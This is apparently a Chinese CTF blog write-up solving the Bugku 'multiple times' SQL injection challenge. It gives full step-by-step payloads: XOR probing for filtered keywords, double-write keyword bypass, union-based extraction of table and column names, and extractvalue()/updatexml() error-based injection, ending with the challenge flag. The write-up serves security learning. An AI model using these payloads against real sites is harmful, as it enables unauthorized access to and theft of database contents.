打开这道题,名字叫做多次,本题有两个flag,感觉到了要闯关的意思。
打开链接之后。
???一脸懵逼
看看源代码吧~
果不其然,啥都木有啊。
1. 试试id=1'呢:
用了一下sqlmap:
毫无头绪。虽然知道它是sql注入,可是我很菜啊,我怎么知道怎么排查!!??
2. 查询资料后尝试:?id=1'or 1=1--+,也是报错。这里一个小知识点:
SQL语句中,--加空格表示注释,但是因为url输入时会过滤空格,所以只能用加号来表示空格。
这里之所以报错是因为可能有SQL注入过滤,过滤掉了or这种语句,以保证安全。所以我们就要知道过滤了哪些字符,才可以更好的注入【好像有点邪恶】
3. 异或注入
用?id=1'^(length('union')!=0)时发现报错
?id=1'^(length('union')!=0)--+时发现可行
说明union被过滤啦!!!!不然为何把它注释掉就可行。
将union替换为or,and,select都被过滤了,这时候就要用到双写绕过了。
4. 双写绕过
就是用写两次的方式绕过,可是为什么三写绕不过呢???查了很久的资料,没有一个人说这个事情,看来要记住这个点,以后去查到才行...
5. 爆数据库名称
接下来就是一步一步查找flag的时候
?id=1' anandd 1=2 ununionion seselectlect 1,database()%23
?id=1' anandd 1=2 ununionion seselectlect 1,database()--+
以上两个payload都可以
6.爆数据库表名称
?id=-1' ununionion seselectlect 1, group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23
这里之所以是-1,和报错注入有关。报错注入就是利用了数据库的机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
所以我写id==1也是可行的注入。
要注意information也有or字符。
7.爆列名
?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1' %23
8.爆数据
?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1 %23
这个就是flag啦,想看看address有什么?
?id=-1' ununionion seselectlect 1, group_concat(address) from flag1 %23
9. 提交了flag发现不正确(好像这里是我误解了,要加flag{},我忘了),那只能进入下一关地址了
?id=1'
发现不正确,并且双写绕过,大小写绕过都没有。
爆字段数
?id=1' order by 2
因为3就不正确,所以2个字段。
10.爆数据库名
?id=1' and
(extractvalue(1,concat(0x7e,database(),0x7e)))--+
以上用的是报错注入的方法,
11.爆数据库表名
?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(table_name) from information_schema.tables
where table_schema="web1002-2"),0x7e)))--+
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
还有一个大佬用的是updatexml报错,两个有什么区别呢?
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))
可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。
有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位。
来源:https://blog.csdn.net/zpy1998zpy/article/details/80631036
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法updatexml(目标xml文档,xml路径,更新的内容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
报错方式相同:
select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))
同样是32位查询。
12.爆列名
?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(column_name) from information_schema.columns
where table_schema="web1002-2" and table_name="flag2"),0x7e)))--+
依然有另一种:
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23
就是将刚才获得的数据库名,表名带进去
13.最后的胜利
?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(flag2) from flag2),0x7e)))--+
?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23
flag{bugku-sql_6s-2i-4t-bug}
小朋友,你肯定要问为什么不是大写的B,我也不知道啊啊啊啊啊!!!有毒
来吧,关注我一下,大家一起学习网络安全,共同进步~~
更新频率挺高哦!!实打实原创!!